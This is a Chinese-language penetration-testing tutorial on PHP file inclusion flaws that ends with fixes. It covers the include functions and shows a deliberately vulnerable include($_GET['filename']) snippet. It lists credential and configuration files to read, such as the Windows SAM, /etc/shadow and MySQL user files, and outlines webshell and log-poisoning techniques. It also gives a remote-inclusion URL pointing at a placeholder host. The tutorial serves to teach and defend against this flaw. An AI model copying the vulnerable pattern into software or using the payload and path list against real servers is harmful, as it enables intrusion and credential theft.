文件包含漏洞原理:
文件包含漏洞是滲透測試過程中用的比較多的一個漏洞,主要用來繞過上傳木馬文件。
程序開發人員通常會把可重復使用的函數寫到單個文件中,在使用某種函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般稱為包含。
PHP包含:
PHP中文件包含函數有以下四種:
require():函數出現錯誤的時候,會直接報錯並退出程序的執行
require_once():同require(),區別在於重復調用同一文件時,程序只調用一次
include():在包含的過程中如果出現錯誤,會拋出警告,程序繼續正常運行
include_once():同include(),區別在於重復調用同一文件時,程序只調用一次
漏洞產生原因:
文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了非預期的代碼。
示例代碼
<?php
$filename=$_GET['filename'];
include($filename);
?>
$_GET['filename']參數開發者沒有經過嚴格的過濾,直接帶入了include的函數,攻擊者可以修改$_GET['filename']的值,執行非預期的操作。
常見的敏感信息路徑:
windows系統
c:\boot.ini //查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml //IIs配置文件
c:\windows\repair\sam //存儲windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini //Mysql配置
c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密碼
c:\windows\php.ini //php配置信息
Linux/Unix系統
/etc/password //賬戶信息
/etc/shadow //賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虛擬網站配置
/usr/local/app/php5/lib/php.ini //PHP相關配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
文件包含漏洞危害:
- 配合文件上傳漏洞GetShell
- 可以配置任意腳本代碼
- 網站源碼文件以及配置文件泄露
- 遠程包含GetShell
- 控制整個網站甚至是服務器
文件包含漏洞分為本地和遠程文件包含:
- 本地文件包含漏洞利用:
- 上傳圖片馬,包含圖片馬GetShell
- 讀取網站源碼以及配置文件
- 包含日志文件GetShell
本地文件包含繞過和利用:
- 包含上傳圖片馬
- %00截斷
- 路徑長度截斷
- 讀服務器本地文件
- 讀網站源碼文件
- 包含日志文件GetShell
遠程文件包含利用:
包含遠程txt文件(php.ini的配置選項allow_url_fopen和allow_url_include為on),遠程服務器上存放一個txt文件,或者不被解析的php文件。(因為包含的時候返回的是php源代碼,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
修復辦法:
- php中使用open_basedir配置限制訪問在指定的區域
- 過濾. / |
- 禁止服務器遠程包含(allow_url_fopen,allow_url_include,off)
- 嚴格判斷包含中的參數是否外部可控,因為文件包含漏洞利用成功與否的關鍵點就在於被包含的文件是否可以被外部控制
- 路徑限制:限制被包含的文件只能在某一文件夾內,一定要禁止目錄跳轉字符,如:“../"
- 包含文件驗證:驗證被包含的文件是否是白名單的一員;
- 盡量不要使用動態包含,可以在需要包含的頁面固定寫好,如include("head.php");